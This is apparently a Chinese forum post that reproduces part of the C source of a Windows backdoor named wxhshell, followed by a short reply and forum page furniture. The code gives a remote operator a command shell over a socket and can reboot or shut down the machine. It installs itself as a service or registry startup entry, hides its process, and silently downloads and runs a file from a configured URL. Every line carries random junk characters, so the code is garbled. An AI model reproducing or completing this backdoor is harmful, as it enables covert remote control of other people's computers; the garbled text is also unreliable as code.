  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wO>P< KBU  
  else d z-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RxeyMNd  
  } =zetZJg  
  else { =r?#,'a  
W.|r=   
    switch(cmd[0]) { p  K=  
  zJxO\  
  // 帮助 &@&0n)VTd  
  case '?': { T^b62j'b5_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PF6w'T 5  
    break; ZvSWIQ6  
  } Vm_<eyI2  
  // 安装 ` D9sEt_/  
  case 'i': { B'@a36  
    if(Install()) {Xj2c]A1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iUH{rh!  
    else &I=27!S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j 1Ng[  
    break; xllk hD4F  
    } <aScA`\B#  
  // 卸载 M@ TXzn!&o  
  case 'r': { @0v%5@  
    if(Uninstall()) $>Mqo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \NgBF  
    else &IZthJqV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GM{J3O=  
    break; FxK2 1  
    } S8S<>W  
  // 显示 wxhshell 所在路径 >sfH[b  
  case 'p': { zfexaf!  
    char svExeFile[MAX_PATH]; AhNy+p{  
    strcpy(svExeFile,"\n\r"); C=y[WsT  
      strcat(svExeFile,ExeFile); 'K8emt$d+  
        send(wsh,svExeFile,strlen(svExeFile),0); C{5^UCJkg  
    break; |1rKGDc  
    } q%rfKHMA50  
  // 重启 K]bw1K K  
  case 'b': { S2!$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0r|mg::'  
    if(Boot(REBOOT)) Da@H^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5VLJ:I?0O  
    else { u`j9m @`  
    closesocket(wsh); 8B|qNf `Yi  
    ExitThread(0); @An "ClDa  
    } O=A(x m#  
    break; %XU V[L}  
    } b+6%Mu}o  
  // 关机 0=,vdT  
  case 'd': { AVR=\ qR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #&oL iz=hZ  
    if(Boot(SHUTDOWN)) h^`!kp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4/Wqeq,E8  
    else { W/?\8AE  
    closesocket(wsh); L'KgB=5K&i  
    ExitThread(0); Cnv M>]  
    } @71n{9  
    break; ;FI"N@z  
    } kv)IG$S 0  
  // 获取shell LY? `+/  
  case 's': { H:x{qS4Si  
    CmdShell(wsh); xGU~FU  
    closesocket(wsh); iuxS=3lT"K  
    ExitThread(0); r^j iK\*  
    break; 9pPohR*#V  
  } ,[j'OyR  
  // 退出 iW\Q>~0#_  
  case 'x': { kz UP   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K9@F1ccQ/  
    CloseIt(wsh); ~\ C.Nm  
    break; ^rP` . Z  
    } |+|q`SwJ  
  // 离开 4|EV`t}EV  
  case 'q': { e ; #"t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )q>mt/,  
    closesocket(wsh); fz hCV  
    WSACleanup(); ZB|y  
    exit(1); F(5(cr 7K  
    break; YR\pt8(z?  
        } $v#\bqY  
  } VEtdp*ot  
  } Kj+=?R~}S  
$vQ#ah/k  
  // 提示信息 |oL}c!0vs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u5LrZt]k  
} EU0b>2n4  
  } FkS$x'~2$  
F79!B  
  return; 7/:C[J4GTN  
} W-ctx"9DS  
k>ERU]7[  
// shell模块句柄 Te:4 z@?  
int CmdShell(SOCKET sock) L]_1z  
{ uv}?8$<\  
STARTUPINFO si; 10C,\  
ZeroMemory(&si,sizeof(si)); vp#AD9h1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  oRbG6Vv/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G5R"5d'  
PROCESS_INFORMATION ProcessInfo; :hA=(iz  
char cmdline[]="cmd"; zt23on2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <691pk X  
  return 0; 6n  
} R54wNm @  
ohod)8  
// 自身启动模式 ]l~TI8gC  
int StartFromService(void) S{sJX5R;  
{ x_yQoae  
typedef struct $^ wqoW%t  
{ {okx*]PIc  
  DWORD ExitStatus; qVpV ZH!  
  DWORD PebBaseAddress; F"?OLV1B&  
  DWORD AffinityMask; @S%ogZz*m  
  DWORD BasePriority; Z fQzA}QD  
  ULONG UniqueProcessId; uq~Z  
  ULONG InheritedFromUniqueProcessId; Vp5i i]B4  
}   PROCESS_BASIC_INFORMATION; !i`HjV0wS  
x)h|!T=B~  
PROCNTQSIP NtQueryInformationProcess; :zW I"  
m,TN%*U!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $}*bZ~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hfw*\=p  
Ac'0  
  HANDLE             hProcess; e{*-_j "I  
  PROCESS_BASIC_INFORMATION pbi; =gYKAr^p5  
1F*3K3T {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "; PW#VHC  
  if(NULL == hInst ) return 0; .*3.47O  
Bj-80d,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lO=Nw+'$S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `ecIy_O3P&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v*&WxP^Gm  
{[<o)k.A  
  if (!NtQueryInformationProcess) return 0; a fOix"  
:nYnTo`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?$>#FKrt  
  if(!hProcess) return 0; wTu_Am  
?aMV{H*Q*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hS?pc<~`#  
PU"C('AP  
  CloseHandle(hProcess); Uzx,aYo X  
3/j^Ao\fw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ry2ZVIFa  
if(hProcess==NULL) return 0; 6hW ~Q  
WaaF;| ,(  
HMODULE hMod; 2EU((Q`>=(  
char procName[255]; 6w )mo)<X  
unsigned long cbNeeded; D #`o  
lHTW e'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pa8E.<>  
^ |xSU_wa  
  CloseHandle(hProcess); }r+(Z.BHM  
7jZE(|G-  
if(strstr(procName,"services")) return 1; // 以服务启动 mn>$K"_k  
u@"nVHgMJ  
  return 0; // 注册表启动 a (mgz&*  
} )yOdRRP  
9HtzBS  
// 主模块 \Y4>_Mk  
int StartWxhshell(LPSTR lpCmdLine) yqY nd<K4  
{ i$[wkQ>$  
  SOCKET wsl; Al 0 i{.V  
BOOL val=TRUE; '#;%=+=;  
  int port=0; ;$\?o  
  struct sockaddr_in door; GmONhh(k  
#DqVh!t"  
  if(wscfg.ws_autoins) Install(); +J`HI1  
h^)R}jy+f  
port=atoi(lpCmdLine); YEbB3N  
hhqSfafUX  
if(port<=0) port=wscfg.ws_port; vjzpU(Sq#  
vz[-8m:f  
  WSADATA data; e\[z Q 2Z3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E/OJ}3Rf  
-$; h+9BO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %ja8DRQ.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e Qz_,vTk  
  door.sin_family = AF_INET; ? 0}M'L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >E9:3&[F  
  door.sin_port = htons(port); gc y'"d"  
B*zR/?U^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HZG^o^o1l+  
closesocket(wsl); (D?%(f  
return 1; 4F-r}Fj3  
} MKnG:)T<?l  
O]XdPH20  
  if(listen(wsl,2) == INVALID_SOCKET) { ek^=Z`  
closesocket(wsl); <8JV`dTywC  
return 1; em@bxyMm  
} JB_<Haj  
  Wxhshell(wsl); T~238C{vh  
  WSACleanup(); u(Y! _  
[\Ks+S  
return 0; &EELq"5K  
=&5^[:ksB  
} e]1&f.K  
z<T(afM{*  
// 以NT服务方式启动 HP$GI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eplz5%<  
{ \A{ [2  
DWORD   status = 0; 6;O fh   
  DWORD   specificError = 0xfffffff; c Nhy.Z~D  
P ,%IZ.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fAW(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *FINNNARB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z ?3G`  
  serviceStatus.dwWin32ExitCode     = 0; P  -O& X  
  serviceStatus.dwServiceSpecificExitCode = 0; W -pN  
  serviceStatus.dwCheckPoint       = 0; C\Y%FTS:  
  serviceStatus.dwWaitHint       = 0; +*O$]Hh  
>nqDUGnEo>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v>p UVM  
  if (hServiceStatusHandle==0) return; U #u=9%'  
3?R56$-+  
status = GetLastError(); L,(H(GeX  
  if (status!=NO_ERROR) < wI z8V  
{ x)wlp{rLf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5-=&4R\k  
    serviceStatus.dwCheckPoint       = 0; y@T 0 jI  
    serviceStatus.dwWaitHint       = 0; ut<0-  
    serviceStatus.dwWin32ExitCode     = status; i gyTvt!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5i<E AKL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !XJvhsKXy  
    return; g`2DJi&)  
  } Ojh\H  
L.E6~Rv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a/ k0(  
  serviceStatus.dwCheckPoint       = 0; <]SI -  
  serviceStatus.dwWaitHint       = 0; BA5b;+o-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2j*+^&M/  
} o'Uaz*-po  
_3;vir%)  
// 处理NT服务事件,比如:启动、停止 Epl\(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DCv=*=6w  
{ | 4slG   
switch(fdwControl) LNA5!E  
{ _gLj(<^9  
case SERVICE_CONTROL_STOP: U= Gw(  
  serviceStatus.dwWin32ExitCode = 0; SZ;Is,VgU4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I}Fv4wlZG  
  serviceStatus.dwCheckPoint   = 0; VssD  
  serviceStatus.dwWaitHint     = 0; hxXl0egI  
  { fMRv:kNAt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qwERy{]Sp;  
  } :4&q2-  
  return; \\Z{[{OZ  
case SERVICE_CONTROL_PAUSE: "%mu~&Ga  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cnm*&1EzV  
  break; <r8sZrY  
case SERVICE_CONTROL_CONTINUE: kn^? .^dVX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hB !>*AsG  
  break; l2&s4ERqSm  
case SERVICE_CONTROL_INTERROGATE: GY%2EM(  
  break; 9On0om>  
}; _#SCjFz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dYEsSFB m  
} MnQ4,+ji-  
k|r+/gIV  
// 标准应用程序主函数 -;i vBR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0bcbH9) 1q  
{ <%SG <|t  
`veq/!  
// 获取操作系统版本 7V="/0a  
OsIsNt=GetOsVer(); 4U;Zs3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bW/^2B  
?k}"g$JFn  
  // 从命令行安装 8Hf:yG,  
  if(strpbrk(lpCmdLine,"iI")) Install(); .$rt>u,8<  
(oUh:w.]Gw  
  // 下载执行文件 |([|F|"  
if(wscfg.ws_downexe) { B5pWSS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y*KP1=Md  
  WinExec(wscfg.ws_filenam,SW_HIDE); ac2G;}B|  
} Rg3cqe#O/  
mF6 U{=  
if(!OsIsNt) { fx"~WeVcO  
// 如果时win9x,隐藏进程并且设置为注册表启动 BJL*Dih m[  
HideProc(); 2qN|<S&  
StartWxhshell(lpCmdLine); (L2:|1P)  
} -J`VXG:M  
else IHrG!owf  
  if(StartFromService()) i'\7P-a  
  // 以服务方式启动 T2%{pcdV/  
  StartServiceCtrlDispatcher(DispatchTable); fbjT"jSzw  
else $#HPwmd  
  // 普通方式启动 N!TC}#}l  
  StartWxhshell(lpCmdLine); gQ0W>\xz  
,P T5-9 m  
return 0; l>J>?b=x"[  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八